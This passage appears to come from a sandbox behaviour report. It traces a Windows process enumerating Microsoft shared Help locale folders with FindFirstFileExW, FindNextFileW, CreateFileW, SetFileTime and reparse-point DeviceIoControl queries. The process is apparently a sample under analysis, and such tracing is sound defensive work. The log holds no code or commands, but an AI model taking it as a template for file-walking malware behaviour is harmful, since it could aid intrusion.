returned 1 [0086.943] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0086.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.963] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0086.964] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0086.966] NtClose (Handle=0x16c) returned 0x0 [0086.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0086.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0086.968] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0086.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.969] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.970] GetLastError () returned 0x12 [0086.970] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.970] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.970] GetLastError () returned 0x12 [0086.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0086.971] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0086.971] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0086.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.972] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0086.972] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0086.973] NtClose (Handle=0x180) returned 0x0 [0086.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0086.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0086.974] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.974] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.974] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.978] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.978] GetLastError () returned 0x12 [0086.978] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0086.978] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.978] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.979] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.979] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.979] GetLastError () returned 0x12 [0086.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0086.979] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0086.979] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0086.982] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0086.982] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0086.982] NtClose (Handle=0x16c) returned 0x0 [0086.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0086.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0086.984] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0086.984] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.984] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.985] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.985] GetLastError () returned 0x12 [0086.985] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.985] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.985] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.986] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0086.986] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0086.986] GetLastError () returned 0x12 [0086.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0086.986] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0086.986] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0086.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.988] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0086.989] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0086.989] NtClose (Handle=0x180) returned 0x0 [0086.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0086.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0086.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0086.990] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 